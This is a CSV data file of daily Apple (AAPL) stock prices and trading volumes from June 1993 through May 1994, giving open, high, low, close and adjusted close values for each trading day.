-1993-06-03,2.0357143878936768,2.044642925262451,2.0,2.013392925262451,1.6943681240081787,39214000.0,AAPL -1993-06-04,1.9910714626312256,2.0089285373687744,1.9464285373687744,1.9598214626312256,1.6492846012115479,53421200.0,AAPL -1993-06-07,1.9464285373687744,1.9553571939468384,1.7991071939468384,1.8125,1.525307059288025,120576400.0,AAPL -1993-06-08,1.7410714626312256,1.7857142686843872,1.7142857313156128,1.7678571939468384,1.4877378940582275,155274000.0,AAPL -1993-06-09,1.6071428060531616,1.6294642686843872,1.5714285373687744,1.5803571939468384,1.3299471139907837,294604800.0,AAPL -1993-06-10,1.5535714626312256,1.5982142686843872,1.5267857313156128,1.5892857313156128,1.337460994720459,138426400.0,AAPL -1993-06-11,1.6071428060531616,1.6160714626312256,1.5491071939468384,1.5625,1.3149195909500122,60580800.0,AAPL -1993-06-14,1.5714285373687744,1.5982142686843872,1.5535714626312256,1.59375,1.3412179946899414,62372800.0,AAPL -1993-06-15,1.6160714626312256,1.6160714626312256,1.4955357313156128,1.5,1.2623226642608643,112081200.0,AAPL -1993-06-16,1.5089285373687744,1.5446428060531616,1.4821428060531616,1.5089285373687744,1.2698365449905396,88270000.0,AAPL -1993-06-17,1.5178571939468384,1.5178571939468384,1.4464285373687744,1.4732142686843872,1.2397814989089966,102359600.0,AAPL -1993-06-18,1.4866071939468384,1.5044642686843872,1.4196428060531616,1.4642857313156128,1.2322673797607422,77823200.0,AAPL -1993-06-21,1.4464285373687744,1.4464285373687744,1.4107142686843872,1.4151785373687744,1.1909414529800415,68395600.0,AAPL -1993-06-22,1.4598214626312256,1.5,1.4196428060531616,1.4776785373687744,1.2435383796691895,84095200.0,AAPL -1993-06-23,1.4910714626312256,1.4910714626312256,1.4285714626312256,1.4464285373687744,1.2172400951385498,45180800.0,AAPL -1993-06-24,1.4464285373687744,1.4910714626312256,1.4285714626312256,1.4910714626312256,1.2548091411590576,55708800.0,AAPL -1993-06-25,1.4419642686843872,1.4553571939468384,1.4107142686843872,1.4285714626312256,1.2022123336791992,64290800.0,AAPL -1993-06-28,1.4464285373687744,1.4464285373687744,1.3839285373687744,1.4330357313156128,1.2059693336486816,88404400.0,AAPL -1993-06-29,1.4375,1.4375,1.375,1.3928571939468384,1.172156810760498,73567200.0,AAPL -1993-06-30,1.3839285373687744,1.4196428060531616,1.375,1.4107142686843872,1.1871846914291382,50064000.0,AAPL -1993-07-01,1.3928571939468384,1.4196428060531616,1.3571428060531616,1.3571428060531616,1.142101526260376,54541200.0,AAPL -1993-07-02,1.3660714626312256,1.3839285373687744,1.3482142686843872,1.375,1.1571294069290161,47908000.0,AAPL -1993-07-06,1.3660714626312256,1.3928571939468384,1.3392857313156128,1.3482142686843872,1.1345877647399902,38813600.0,AAPL -1993-07-07,1.3392857313156128,1.3526785373687744,1.2946428060531616,1.3035714626312256,1.0970182418823242,56758800.0,AAPL -1993-07-08,1.3035714626312256,1.3392857313156128,1.2946428060531616,1.3035714626312256,1.0970182418823242,34742400.0,AAPL -1993-07-09,1.3214285373687744,1.3303571939468384,1.3035714626312256,1.3125,1.104532241821289,39219600.0,AAPL -1993-07-12,1.3125,1.3616071939468384,1.2946428060531616,1.3571428060531616,1.142101526260376,43470000.0,AAPL -1993-07-13,1.3839285373687744,1.3839285373687744,1.3214285373687744,1.3303571939468384,1.1195602416992188,39527600.0,AAPL -1993-07-14,1.3125,1.3392857313156128,1.2767857313156128,1.3303571939468384,1.1195602416992188,61574800.0,AAPL -1993-07-15,1.3303571939468384,1.3482142686843872,1.2589285373687744,1.2767857313156128,1.074477195739746,84509600.0,AAPL -1993-07-16,1.0178571939468384,1.0580357313156128,0.9464285969734192,0.9821428656578064,0.8265209794044495,530149200.0,AAPL -1993-07-19,1.0,1.0267857313156128,0.9107142686843872,0.9151785969734192,0.770167350769043,201558000.0,AAPL -1993-07-20,0.9375,0.9910714030265808,0.9196428656578064,0.9598214030265808,0.8077362775802612,132977600.0,AAPL -1993-07-21,0.9285714030265808,0.9553571343421936,0.9107142686843872,0.9375,0.7889516949653625,113976800.0,AAPL -1993-07-22,0.9285714030265808,0.9642857313156128,0.9196428656578064,0.9464285969734192,0.7964655756950378,52794000.0,AAPL -1993-07-23,0.9642857313156128,0.9821428656578064,0.9285714030265808,0.9375,0.7889516949653625,58444400.0,AAPL -1993-07-26,0.9553571343421936,0.9821428656578064,0.9285714030265808,0.9598214030265808,0.8077362775802612,38206000.0,AAPL -1993-07-27,0.9553571343421936,0.9821428656578064,0.9375,0.9464285969734192,0.7964655756950378,49652400.0,AAPL -1993-07-28,0.9375,0.9642857313156128,0.9375,0.9598214030265808,0.8077362775802612,22948800.0,AAPL -1993-07-29,0.9642857313156128,0.9821428656578064,0.9553571343421936,0.9732142686843872,0.8190070986747742,30343600.0,AAPL -1993-07-30,0.9821428656578064,1.0089285373687744,0.9642857313156128,0.9910714030265808,0.8340346217155457,53611600.0,AAPL -1993-08-02,1.0089285373687744,1.0446428060531616,1.0,1.0178571939468384,0.8565762639045715,54076400.0,AAPL -1993-08-03,1.0357142686843872,1.0446428060531616,1.0267857313156128,1.0357142686843872,0.8716038465499878,44119600.0,AAPL -1993-08-04,1.0446428060531616,1.0892857313156128,1.0357142686843872,1.0803571939468384,0.9091731309890747,60748800.0,AAPL -1993-08-05,1.0982142686843872,1.0982142686843872,1.0357142686843872,1.0535714626312256,0.8866316676139832,52343200.0,AAPL -1993-08-06,1.0446428060531616,1.0803571939468384,1.0446428060531616,1.0446428060531616,0.8791176080703735,31480400.0,AAPL -1993-08-09,1.0446428060531616,1.0803571939468384,1.0357142686843872,1.0625,0.8941454291343689,40353600.0,AAPL -1993-08-10,1.0535714626312256,1.0625,1.0089285373687744,1.0178571939468384,0.8565762639045715,38194800.0,AAPL -1993-08-11,1.0178571939468384,1.0178571939468384,0.9642857313156128,0.9821428656578064,0.8265209794044495,41742400.0,AAPL -1993-08-12,0.9821428656578064,0.9910714030265808,0.9285714030265808,0.9464285969734192,0.7964655756950378,84543200.0,AAPL -1993-08-13,0.9464285969734192,0.9910714030265808,0.9375,0.9776785969734192,0.8227640390396118,34703200.0,AAPL -1993-08-16,0.9821428656578064,1.0,0.9732142686843872,0.9821428656578064,0.8301638960838318,25611600.0,AAPL -1993-08-17,0.9910714030265808,1.0178571939468384,0.9732142686843872,1.0133928060531616,0.8565779328346252,27045200.0,AAPL -1993-08-18,1.0357142686843872,1.0625,1.0089285373687744,1.0178571939468384,0.8603514432907104,47180000.0,AAPL -1993-08-19,1.0267857313156128,1.0267857313156128,0.9821428656578064,0.9821428656578064,0.8301638960838318,38032400.0,AAPL -1993-08-20,0.9910714030265808,1.0,0.9642857313156128,1.0,0.845257580280304,24984400.0,AAPL -1993-08-23,1.0,1.0267857313156128,0.9821428656578064,1.0133928060531616,0.8565779328346252,22794800.0,AAPL -1993-08-24,1.0089285373687744,1.0267857313156128,0.9910714030265808,1.0,0.845257580280304,25314800.0,AAPL -1993-08-25,1.0,1.0089285373687744,0.9553571343421936,0.9732142686843872,0.822616696357727,36442000.0,AAPL -1993-08-26,0.9732142686843872,0.9732142686843872,0.9464285969734192,0.9598214030265808,0.811296284198761,44035600.0,AAPL -1993-08-27,0.9642857313156128,0.9642857313156128,0.9375,0.9464285969734192,0.7999758124351501,46642400.0,AAPL -1993-08-30,0.9464285969734192,0.9464285969734192,0.9241071343421936,0.9285714030265808,0.7848821878433228,68434800.0,AAPL -1993-08-31,0.9464285969734192,0.9553571343421936,0.9285714030265808,0.9464285969734192,0.7999758124351501,31967600.0,AAPL -1993-09-01,0.9464285969734192,0.9553571343421936,0.9196428656578064,0.9330357313156128,0.7886555790901184,56392000.0,AAPL -1993-09-02,0.9285714030265808,0.9375,0.9017857313156128,0.9196428656578064,0.7773348689079285,70565600.0,AAPL -1993-09-03,0.9285714030265808,0.9285714030265808,0.9017857313156128,0.9196428656578064,0.7773348689079285,40734400.0,AAPL -1993-09-07,0.9285714030265808,0.9642857313156128,0.9196428656578064,0.9375,0.7924289703369141,35884800.0,AAPL -1993-09-08,0.9375,0.9642857313156128,0.9285714030265808,0.9553571343421936,0.807522714138031,56658000.0,AAPL -1993-09-09,0.9553571343421936,0.9642857313156128,0.9285714030265808,0.9285714030265808,0.7848821878433228,37382800.0,AAPL -1993-09-10,0.9375,0.9375,0.90625,0.9375,0.7924289703369141,33622400.0,AAPL -1993-09-13,0.9375,0.9464285969734192,0.8839285969734192,0.9017857313156128,0.7622411847114563,63946400.0,AAPL -1993-09-14,0.8660714030265808,0.8928571343421936,0.8571428656578064,0.8660714030265808,0.7320533394813538,69160000.0,AAPL -1993-09-15,0.875,0.8928571343421936,0.8392857313156128,0.875,0.739600419998169,64430800.0,AAPL -1993-09-16,0.8660714030265808,0.8928571343421936,0.8660714030265808,0.8839285969734192,0.7471473217010498,21490000.0,AAPL -1993-09-17,0.8705357313156128,0.9107142686843872,0.8660714030265808,0.9017857313156128,0.7622411847114563,43008000.0,AAPL -1993-09-20,0.9017857313156128,0.9107142686843872,0.8839285969734192,0.8883928656578064,0.7509206533432007,27759200.0,AAPL -1993-09-21,0.8839285969734192,0.9017857313156128,0.8526785969734192,0.875,0.739600419998169,36624000.0,AAPL -1993-09-22,0.8660714030265808,0.9107142686843872,0.8660714030265808,0.9107142686843872,0.7697879672050476,27622000.0,AAPL -1993-09-23,0.9107142686843872,0.9107142686843872,0.875,0.8839285969734192,0.7471473217010498,32737600.0,AAPL -1993-09-24,0.8928571343421936,0.9017857313156128,0.875,0.8928571343421936,0.754694402217865,19143600.0,AAPL -1993-09-27,0.8928571343421936,0.9017857313156128,0.8660714030265808,0.8839285969734192,0.7471473217010498,28294000.0,AAPL -1993-09-28,0.8839285969734192,0.8928571343421936,0.8660714030265808,0.8839285969734192,0.7471473217010498,23637600.0,AAPL -1993-09-29,0.8660714030265808,0.8883928656578064,0.8482142686843872,0.8526785969734192,0.7207329869270325,59186400.0,AAPL -1993-09-30,0.8571428656578064,0.8571428656578064,0.8214285969734192,0.8348214030265808,0.7056389451026917,68726000.0,AAPL -1993-10-01,0.8125,0.8214285969734192,0.8035714030265808,0.8125,0.6867718696594238,83997200.0,AAPL -1993-10-04,0.8080357313156128,0.8214285969734192,0.7857142686843872,0.8125,0.6867718696594238,48210400.0,AAPL -1993-10-05,0.8214285969734192,0.8571428656578064,0.8214285969734192,0.8392857313156128,0.7094123959541321,44077600.0,AAPL -1993-10-06,0.8482142686843872,0.8571428656578064,0.8348214030265808,0.84375,0.7131861448287964,43820000.0,AAPL -1993-10-07,0.8392857313156128,0.8482142686843872,0.8125,0.8214285969734192,0.6943187117576599,33726000.0,AAPL -1993-10-08,0.8303571343421936,0.8303571343421936,0.7946428656578064,0.8080357313156128,0.6829982995986938,34851600.0,AAPL -1993-10-11,0.8125,0.8571428656578064,0.8125,0.8482142686843872,0.7169595956802368,40286400.0,AAPL -1993-10-12,0.8571428656578064,0.8928571343421936,0.8482142686843872,0.8571428656578064,0.7245063781738281,76585600.0,AAPL -1993-10-13,0.8660714030265808,0.8660714030265808,0.8392857313156128,0.8571428656578064,0.7245063781738281,44251200.0,AAPL -1993-10-14,0.8571428656578064,0.875,0.8392857313156128,0.8482142686843872,0.7169595956802368,40171600.0,AAPL -1993-10-15,0.9910714030265808,1.0178571939468384,0.9553571343421936,1.0089285373687744,0.8528044819831848,238812000.0,AAPL -1993-10-18,1.0,1.0267857313156128,0.9910714030265808,1.0133928060531616,0.8565779328346252,83249600.0,AAPL -1993-10-19,1.0089285373687744,1.0178571939468384,0.9732142686843872,0.9910714030265808,0.8377103805541992,53393200.0,AAPL -1993-10-20,1.0,1.0089285373687744,0.9732142686843872,0.9910714030265808,0.8377103805541992,34602400.0,AAPL -1993-10-21,0.9821428656578064,1.1160714626312256,0.9732142686843872,1.0803571939468384,0.9131799936294556,156777600.0,AAPL -1993-10-22,1.0892857313156128,1.125,1.0625,1.0803571939468384,0.9131799936294556,99019200.0,AAPL -1993-10-25,1.0803571939468384,1.0892857313156128,1.0580357313156128,1.0714285373687744,0.9056331515312195,54782000.0,AAPL -1993-10-26,1.0625,1.0714285373687744,1.0357142686843872,1.0625,0.8980861902236938,55619200.0,AAPL -1993-10-27,1.0714285373687744,1.1517857313156128,1.0625,1.1339285373687744,0.9584617614746094,114766400.0,AAPL -1993-10-28,1.1339285373687744,1.1517857313156128,1.1071428060531616,1.1071428060531616,0.9358206987380981,61115600.0,AAPL -1993-10-29,1.1071428060531616,1.1339285373687744,1.0892857313156128,1.0982142686843872,0.9282740354537964,34216000.0,AAPL -1993-11-01,1.0982142686843872,1.125,1.0803571939468384,1.125,0.9509148001670837,26493600.0,AAPL -1993-11-02,1.1160714626312256,1.1785714626312256,1.1071428060531616,1.1696428060531616,0.988649308681488,56061600.0,AAPL -1993-11-03,1.1785714626312256,1.1785714626312256,1.1071428060531616,1.1294642686843872,0.954688310623169,44240000.0,AAPL -1993-11-04,1.125,1.1517857313156128,1.0982142686843872,1.1517857313156128,0.9735553860664368,46342800.0,AAPL -1993-11-05,1.1383928060531616,1.1517857313156128,1.0982142686843872,1.1383928060531616,0.9622348546981812,94508400.0,AAPL -1993-11-08,1.1428571939468384,1.1473214626312256,1.0892857313156128,1.0982142686843872,0.9282740354537964,41748000.0,AAPL -1993-11-09,1.1071428060531616,1.1160714626312256,1.0625,1.0758928060531616,0.9094064831733704,42812000.0,AAPL -1993-11-10,1.0803571939468384,1.0982142686843872,1.0714285373687744,1.0982142686843872,0.9282740354537964,19244400.0,AAPL -1993-11-11,1.0982142686843872,1.1428571939468384,1.0892857313156128,1.1205357313156128,0.9471412897109985,35607600.0,AAPL -1993-11-12,1.125,1.1428571939468384,1.0892857313156128,1.1339285373687744,0.9584617614746094,35915600.0,AAPL -1993-11-15,1.125,1.1696428060531616,1.125,1.1428571939468384,0.9660090208053589,39275600.0,AAPL -1993-11-16,1.1428571939468384,1.2232142686843872,1.1339285373687744,1.2142857313156128,1.0263841152191162,75770800.0,AAPL -1993-11-17,1.2142857313156128,1.25,1.1696428060531616,1.1964285373687744,1.0112899541854858,75656000.0,AAPL -1993-11-18,1.1964285373687744,1.2053571939468384,1.1785714626312256,1.1964285373687744,1.0112899541854858,28602000.0,AAPL -1993-11-19,1.1785714626312256,1.1964285373687744,1.1607142686843872,1.1785714626312256,0.9997814893722534,30741200.0,AAPL -1993-11-22,1.1696428060531616,1.1785714626312256,1.1517857313156128,1.1607142686843872,0.9846329689025879,37651600.0,AAPL -1993-11-23,1.1607142686843872,1.1785714626312256,1.1160714626312256,1.1785714626312256,0.9997814893722534,46541600.0,AAPL -1993-11-24,1.1696428060531616,1.1964285373687744,1.1651785373687744,1.1785714626312256,0.9997814893722534,22610000.0,AAPL -1993-11-26,1.1696428060531616,1.1785714626312256,1.1517857313156128,1.1651785373687744,0.9884202480316162,10861200.0,AAPL -1993-11-29,1.1517857313156128,1.1607142686843872,1.125,1.1339285373687744,0.961910605430603,24178000.0,AAPL -1993-11-30,1.1339285373687744,1.1651785373687744,1.125,1.125,0.9543365836143494,28165200.0,AAPL -1993-12-01,1.1428571939468384,1.1517857313156128,1.1160714626312256,1.125,0.9543365836143494,27804000.0,AAPL -1993-12-02,1.1339285373687744,1.1428571939468384,1.1071428060531616,1.1339285373687744,0.961910605430603,25163600.0,AAPL -1993-12-03,1.1339285373687744,1.1428571939468384,1.1071428060531616,1.125,0.9543365836143494,30116800.0,AAPL -1993-12-06,1.125,1.1607142686843872,1.1160714626312256,1.1517857313156128,0.977059006690979,39244800.0,AAPL -1993-12-07,1.1428571939468384,1.1517857313156128,1.125,1.1517857313156128,0.977059006690979,15962800.0,AAPL -1993-12-08,1.1428571939468384,1.1517857313156128,1.125,1.1383928060531616,0.9656976461410522,9898000.0,AAPL -1993-12-09,1.1339285373687744,1.1428571939468384,1.0625,1.0714285373687744,0.9088919758796692,45690400.0,AAPL -1993-12-10,1.0803571939468384,1.0892857313156128,0.9910714030265808,1.0089285373687744,0.8558732867240906,124314400.0,AAPL -1993-12-13,1.0089285373687744,1.0535714626312256,0.9910714030265808,1.0535714626312256,0.8937438726425171,61082000.0,AAPL -1993-12-14,1.0446428060531616,1.0625,1.0357142686843872,1.0401785373687744,0.8823826313018799,73416000.0,AAPL -1993-12-15,1.0357142686843872,1.0625,1.0357142686843872,1.0625,0.9013181328773499,30970800.0,AAPL -1993-12-16,1.0535714626312256,1.0625,1.0357142686843872,1.0491071939468384,0.8899568319320679,31592400.0,AAPL -1993-12-17,1.0535714626312256,1.0625,1.0401785373687744,1.0535714626312256,0.8937438726425171,36288000.0,AAPL -1993-12-20,1.0446428060531616,1.0625,1.0089285373687744,1.0178571939468384,0.8634475469589233,47258400.0,AAPL -1993-12-21,1.0178571939468384,1.0267857313156128,0.9732142686843872,0.9821428656578064,0.8331511616706848,62781600.0,AAPL -1993-12-22,0.9732142686843872,1.0178571939468384,0.9642857313156128,1.0,0.8482993245124817,45343200.0,AAPL -1993-12-23,0.9732142686843872,0.9732142686843872,0.9464285969734192,0.9732142686843872,0.8255768418312073,56739200.0,AAPL -1993-12-27,0.9910714030265808,1.0267857313156128,0.9732142686843872,1.0178571939468384,0.8634475469589233,39984000.0,AAPL -1993-12-28,1.0267857313156128,1.0535714626312256,1.0178571939468384,1.0401785373687744,0.8823826313018799,39874800.0,AAPL -1993-12-29,1.0446428060531616,1.0446428060531616,1.0178571939468384,1.0178571939468384,0.8634475469589233,26838000.0,AAPL -1993-12-30,1.0178571939468384,1.0803571939468384,1.0178571939468384,1.0625,0.9013181328773499,78638000.0,AAPL -1993-12-31,1.0625,1.0803571939468384,1.0446428060531616,1.0446428060531616,0.8861698508262634,40241600.0,AAPL -1994-01-03,1.0535714626312256,1.0714285373687744,1.0357142686843872,1.0669642686843872,0.9051049947738647,45382400.0,AAPL -1994-01-04,1.0803571939468384,1.125,1.0714285373687744,1.125,0.9543365836143494,71293600.0,AAPL -1994-01-05,1.1339285373687744,1.2098214626312256,1.1339285373687744,1.2053571939468384,1.0225037336349487,153034000.0,AAPL -1994-01-06,1.2053571939468384,1.2142857313156128,1.1607142686843872,1.1696428060531616,0.9922074675559998,91627200.0,AAPL -1994-01-07,1.1428571939468384,1.1875,1.1160714626312256,1.1830357313156128,1.0035685300827026,74698400.0,AAPL -1994-01-10,1.1785714626312256,1.2098214626312256,1.1696428060531616,1.2008928060531616,1.018716812133789,50397200.0,AAPL -1994-01-11,1.1964285373687744,1.2053571939468384,1.1339285373687744,1.1383928060531616,0.9656976461410522,88849600.0,AAPL -1994-01-12,1.1517857313156128,1.1517857313156128,1.0892857313156128,1.0892857313156128,0.9240402579307556,109779600.0,AAPL -1994-01-13,1.0714285373687744,1.0982142686843872,1.0625,1.09375,0.9278273582458496,132899200.0,AAPL -1994-01-14,1.0982142686843872,1.1339285373687744,1.0892857313156128,1.1071428060531616,0.9391883611679077,53628400.0,AAPL -1994-01-17,1.1071428060531616,1.125,1.0714285373687744,1.0848214626312256,0.9202530384063721,36428000.0,AAPL -1994-01-18,1.0803571939468384,1.0803571939468384,1.0357142686843872,1.0491071939468384,0.8899568319320679,90700400.0,AAPL -1994-01-19,1.0446428060531616,1.0625,1.0267857313156128,1.0446428060531616,0.8861698508262634,70397600.0,AAPL -1994-01-20,1.0535714626312256,1.0982142686843872,1.0535714626312256,1.0669642686843872,0.9051049947738647,67020800.0,AAPL -1994-01-21,1.1875,1.1964285373687744,1.1517857313156128,1.1919642686843872,1.011142611503601,245033600.0,AAPL -1994-01-24,1.1875,1.2589285373687744,1.1875,1.25,1.060374140739441,173037200.0,AAPL -1994-01-25,1.2410714626312256,1.25,1.1875,1.2098214626312256,1.0262905359268188,110583200.0,AAPL -1994-01-26,1.2053571939468384,1.2142857313156128,1.1875,1.1964285373687744,1.014929175376892,41451200.0,AAPL -1994-01-27,1.1964285373687744,1.2232142686843872,1.1785714626312256,1.21875,1.0338648557662964,33062400.0,AAPL -1994-01-28,1.2232142686843872,1.2410714626312256,1.2053571939468384,1.2142857313156128,1.0300776958465576,34109600.0,AAPL -1994-01-31,1.1964285373687744,1.2053571939468384,1.1696428060531616,1.1696428060531616,0.9922074675559998,59595200.0,AAPL -1994-02-01,1.1785714626312256,1.1964285373687744,1.1517857313156128,1.1875,1.0073553323745728,39180400.0,AAPL -1994-02-02,1.1875,1.1875,1.1607142686843872,1.1785714626312256,0.9997814893722534,36612800.0,AAPL -1994-02-03,1.1785714626312256,1.2008928060531616,1.1607142686843872,1.1964285373687744,1.014929175376892,34498800.0,AAPL -1994-02-04,1.1964285373687744,1.25,1.1875,1.1964285373687744,1.014929175376892,88502400.0,AAPL -1994-02-07,1.1964285373687744,1.3258928060531616,1.1964285373687744,1.3035714626312256,1.1097981929779053,181361600.0,AAPL -1994-02-08,1.2857142686843872,1.3035714626312256,1.2589285373687744,1.2767857313156128,1.0869942903518677,71346800.0,AAPL -1994-02-09,1.2767857313156128,1.3035714626312256,1.2589285373687744,1.2946428060531616,1.1021966934204102,46746000.0,AAPL -1994-02-10,1.2946428060531616,1.3392857313156128,1.2857142686843872,1.3035714626312256,1.1097981929779053,75507600.0,AAPL -1994-02-11,1.2946428060531616,1.3392857313156128,1.2946428060531616,1.3214285373687744,1.1250007152557373,41062000.0,AAPL -1994-02-14,1.3214285373687744,1.3571428060531616,1.3125,1.3214285373687744,1.1250007152557373,61387200.0,AAPL -1994-02-15,1.3125,1.3392857313156128,1.2946428060531616,1.3258928060531616,1.1288014650344849,32443600.0,AAPL -1994-02-16,1.3392857313156128,1.3392857313156128,1.3125,1.3125,1.1173994541168213,30506000.0,AAPL -1994-02-17,1.3303571939468384,1.3526785373687744,1.2946428060531616,1.3214285373687744,1.1250007152557373,36288000.0,AAPL -1994-02-18,1.3035714626312256,1.3214285373687744,1.2946428060531616,1.2946428060531616,1.1021966934204102,37268000.0,AAPL -1994-02-22,1.2946428060531616,1.3392857313156128,1.2767857313156128,1.3303571939468384,1.1326022148132324,53642400.0,AAPL -1994-02-23,1.3303571939468384,1.3660714626312256,1.3214285373687744,1.3303571939468384,1.1326022148132324,65133600.0,AAPL -1994-02-24,1.3214285373687744,1.3303571939468384,1.2946428060531616,1.3080357313156128,1.1135988235473633,49464800.0,AAPL -1994-02-25,1.3214285373687744,1.3303571939468384,1.2678571939468384,1.2857142686843872,1.0945953130722046,59206000.0,AAPL -1994-02-28,1.2946428060531616,1.3214285373687744,1.2857142686843872,1.3035714626312256,1.1097981929779053,30956800.0,AAPL -1994-03-01,1.3125,1.3125,1.2767857313156128,1.2946428060531616,1.1021966934204102,52967600.0,AAPL -1994-03-02,1.2589285373687744,1.2946428060531616,1.2410714626312256,1.2723214626312256,1.083193063735962,73536400.0,AAPL -1994-03-03,1.2767857313156128,1.2946428060531616,1.2678571939468384,1.2767857313156128,1.0869942903518677,47118400.0,AAPL -1994-03-04,1.2857142686843872,1.3392857313156128,1.2767857313156128,1.3125,1.1173994541168213,56711200.0,AAPL -1994-03-07,1.3214285373687744,1.3616071939468384,1.3125,1.3526785373687744,1.1516057252883911,77599200.0,AAPL -1994-03-08,1.3571428060531616,1.3571428060531616,1.3125,1.3214285373687744,1.1250007152557373,46513600.0,AAPL -1994-03-09,1.3080357313156128,1.3392857313156128,1.2857142686843872,1.3392857313156128,1.1402034759521484,62134800.0,AAPL -1994-03-10,1.3303571939468384,1.34375,1.3125,1.3303571939468384,1.1326022148132324,35940800.0,AAPL -1994-03-11,1.3214285373687744,1.3482142686843872,1.3125,1.3303571939468384,1.1326022148132324,40460000.0,AAPL -1994-03-14,1.375,1.375,1.3482142686843872,1.3616071939468384,1.1592066287994385,110426400.0,AAPL -1994-03-15,1.3660714626312256,1.3660714626312256,1.3303571939468384,1.34375,1.144004225730896,51136400.0,AAPL -1994-03-16,1.3392857313156128,1.3482142686843872,1.3035714626312256,1.3125,1.1173994541168213,36792000.0,AAPL -1994-03-17,1.3125,1.3214285373687744,1.2946428060531616,1.3035714626312256,1.1097981929779053,39057200.0,AAPL -1994-03-18,1.3125,1.3125,1.2767857313156128,1.2991071939468384,1.1059973239898682,55918800.0,AAPL -1994-03-21,1.2991071939468384,1.3035714626312256,1.2589285373687744,1.2678571939468384,1.079392910003662,61628000.0,AAPL -1994-03-22,1.2589285373687744,1.2678571939468384,1.2321428060531616,1.25,1.0641900300979614,60706800.0,AAPL -1994-03-23,1.2589285373687744,1.2678571939468384,1.2232142686843872,1.2544642686843872,1.0679906606674194,54171600.0,AAPL -1994-03-24,1.2544642686843872,1.2589285373687744,1.2142857313156128,1.2366071939468384,1.0527878999710083,47023200.0,AAPL -1994-03-25,1.2410714626312256,1.2410714626312256,1.1696428060531616,1.1696428060531616,0.9957779049873352,85909600.0,AAPL -1994-03-28,1.1785714626312256,1.2142857313156128,1.1696428060531616,1.1875,1.0109803676605225,70644000.0,AAPL -1994-03-29,1.1875,1.2053571939468384,1.1517857313156128,1.1696428060531616,0.9957779049873352,53379200.0,AAPL -1994-03-30,1.1607142686843872,1.1875,1.1339285373687744,1.1607142686843872,0.9881760478019714,42456400.0,AAPL -1994-03-31,1.1607142686843872,1.1964285373687744,1.125,1.1875,1.0109803676605225,52264800.0,AAPL -1994-04-04,1.1517857313156128,1.1875,1.1339285373687744,1.1875,1.0109803676605225,42075600.0,AAPL -1994-04-05,1.2053571939468384,1.2232142686843872,1.1964285373687744,1.1964285373687744,1.018581509590149,24474800.0,AAPL -1994-04-06,1.2142857313156128,1.2142857313156128,1.1696428060531616,1.1964285373687744,1.018581509590149,32272800.0,AAPL -1994-04-07,1.1964285373687744,1.2053571939468384,1.1696428060531616,1.1919642686843872,1.0147812366485596,19342400.0,AAPL -1994-04-08,1.2053571939468384,1.2142857313156128,1.1875,1.1964285373687744,1.018581509590149,44212000.0,AAPL -1994-04-11,1.1964285373687744,1.1964285373687744,1.1607142686843872,1.1964285373687744,1.018581509590149,26706400.0,AAPL -1994-04-12,1.1919642686843872,1.1919642686843872,1.1339285373687744,1.1428571939468384,0.9729737043380737,34207600.0,AAPL -1994-04-13,1.1517857313156128,1.1607142686843872,1.1160714626312256,1.1339285373687744,0.9653719663619995,58284800.0,AAPL -1994-04-14,1.0892857313156128,1.1339285373687744,1.0714285373687744,1.125,0.9577711224555969,55498800.0,AAPL -1994-04-15,1.1160714626312256,1.125,1.0714285373687744,1.0803571939468384,0.9197642207145691,47087600.0,AAPL -1994-04-18,1.0892857313156128,1.0892857313156128,1.0446428060531616,1.0580357313156128,0.9007605314254761,57573600.0,AAPL -1994-04-19,1.0625,1.0714285373687744,1.0178571939468384,1.0357142686843872,0.8817573189735413,41563200.0,AAPL -1994-04-20,1.0446428060531616,1.0714285373687744,1.0,1.0089285373687744,0.858953058719635,70462000.0,AAPL -1994-04-21,1.0178571939468384,1.0892857313156128,0.9642857313156128,1.0580357313156128,0.9007605314254761,102634000.0,AAPL -1994-04-22,1.1160714626312256,1.1428571939468384,1.0178571939468384,1.0625,0.9045615792274475,174456800.0,AAPL -1994-04-25,1.0625,1.1071428060531616,1.0535714626312256,1.1071428060531616,0.942568302154541,89810000.0,AAPL -1994-04-26,1.125,1.125,1.1071428060531616,1.1160714626312256,0.9501697421073914,41056400.0,AAPL -1994-04-28,1.1071428060531616,1.1160714626312256,1.0625,1.0803571939468384,0.9197642207145691,25118800.0,AAPL -1994-04-29,1.0714285373687744,1.0892857313156128,1.0625,1.0714285373687744,0.9121626615524292,23696400.0,AAPL -1994-05-02,1.0714285373687744,1.1160714626312256,1.0714285373687744,1.1071428060531616,0.942568302154541,30805600.0,AAPL -1994-05-03,1.1071428060531616,1.1160714626312256,1.0535714626312256,1.0803571939468384,0.9197642207145691,33224800.0,AAPL -1994-05-04,1.1071428060531616,1.1875,1.0892857313156128,1.1785714626312256,1.0033791065216064,91039200.0,AAPL -1994-05-05,1.1875,1.2053571939468384,1.1517857313156128,1.1741071939468384,0.9995783567428589,72083200.0,AAPL -1994-05-06,1.1517857313156128,1.1696428060531616,1.1160714626312256,1.1540178060531616,0.9824751615524292,46944800.0,AAPL -1994-05-09,1.1517857313156128,1.1607142686843872,1.0982142686843872,1.1160714626312256,0.9501697421073914,35117600.0,AAPL -1994-05-10,1.1339285373687744,1.1428571939468384,1.1071428060531616,1.1071428060531616,0.942568302154541,36710800.0,AAPL -1994-05-11,1.1071428060531616,1.125,1.0625,1.0803571939468384,0.9197642207145691,36380400.0,AAPL -1994-05-12,1.0892857313156128,1.0982142686843872,1.0535714626312256,1.0602678060531616,0.9026609063148499,26776400.0,AAPL -1994-05-13,1.0625,1.0892857313156128,1.0446428060531616,1.0714285373687744,0.9121626615524292,23153200.0,AAPL -1994-05-16,1.0714285373687744,1.0892857313156128,1.0535714626312256,1.0535714626312256,0.8969600796699524,33846400.0,AAPL -1994-05-17,1.0625,1.0625,1.0267857313156128,1.0491071939468384,0.8931593298912048,45026800.0,AAPL -1994-05-18,1.0625,1.0982142686843872,1.0446428060531616,1.09375,0.9311662316322327,30965200.0,AAPL -1994-05-19,1.0982142686843872,1.1607142686843872,1.0892857313156128,1.1473214626312256,0.9767740964889526,68395600.0,AAPL -1994-05-20,1.1339285373687744,1.1517857313156128,1.1071428060531616,1.109375,0.9444682002067566,24536400.0,AAPL -1994-05-23,1.1071428060531616,1.1160714626312256,1.0714285373687744,1.0892857313156128,0.9273654222488403,29988000.0,AAPL -1994-05-24,1.1071428060531616,1.1160714626312256,1.0803571939468384,1.0982142686843872,0.9349668622016907,31612000.0,AAPL -1994-05-25,1.0803571939468384,1.1339285373687744,1.0714285373687744,1.1160714626312256,0.9501697421073914,34028400.0,AAPL -1994-05-26,1.125,1.125,1.0803571939468384,1.0892857313156128,0.9273654222488403,18258800.0,AAPL 